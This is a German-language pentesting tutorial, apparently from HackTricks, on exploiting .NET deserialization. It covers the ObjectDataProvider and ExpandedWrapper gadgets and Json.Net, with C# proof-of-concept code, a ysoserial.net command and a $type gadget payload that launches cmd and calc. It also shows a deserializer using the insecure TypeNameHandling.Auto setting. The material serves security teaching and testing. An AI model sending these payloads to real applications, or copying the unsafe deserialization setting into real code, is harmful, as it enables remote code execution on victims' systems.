hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

# Grundlegende .Net-Deserialisierung (ObjectDataProvider-Gadget, ExpandedWrapper und Json.Net)

{{#include ../../banners/hacktricks-training.md}}

Dieser Beitrag ist gewidmet, um **zu verstehen, wie das Gadget ObjectDataProvider ausgenutzt wird**, um RCE zu erhalten und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können**.

## ObjectDataProvider Gadget

Aus der Dokumentation: _Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können_.\
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter festzulegen**, und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\
Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführen, während es deserialisiert wird.**

### **Wie ist das möglich**

Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist.

Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den **Code** der Klasse, an der wir interessiert sind, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**

![](<../../images/image (427).png>)

Wie Sie sehen können, wird bei der Einstellung von `MethodName` `base.Refresh()` aufgerufen, schauen wir uns an, was es tut:

![](<../../images/image (319).png>)

Ok, lassen Sie uns weitersehen, was `this.BeginQuery()` macht. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:

![](<../../images/image (345).png>)

Beachten Sie, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. Lassen Sie uns sehen, was das ausführt:

![](<../../images/image (596).png>)

Beachten Sie, dass dies nicht der vollständige Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil davon: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf** dies ist die Zeile, in der das **Methoden-Set aufgerufen wird**.

Wenn Sie überprüfen möchten, dass nur durch das Setzen von _**MethodName**_\*\* es ausgeführt wird\*\*, können Sie diesen Code ausführen:
```java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen müssen, um `System.Windows.Data` zu laden.

## ExpandedWrapper

Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis über den Objekttyp, der in der** _ObjectDataProvider_ Instanz **eingekapselt ist** (zum Beispiel `Process`). Sie können mehr [Informationen über die DotNetNuke-Schwachstelle hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) finden.

Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, **\_ObjectDataProvider**_\*\* innerhalb einer \*\*_**ExpandedWrapper** \_ Instanz **einzupacken**, und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.

Sie können diesen Wrapper mit dem folgenden Code überprüfen:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net

Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren** könnten, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.

### Json.Net Beispiel

Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Missbrauch von Json.Net

Mit [ysoserial.net](https://github.com/pwntester/ysoserial.net) habe ich den Exploit erstellt:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In diesem Code kannst du **den Exploit testen**, führe ihn einfach aus und du wirst sehen, dass ein Calculator ausgeführt wird:
```java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
{{#include ../../banners/hacktricks-training.md}}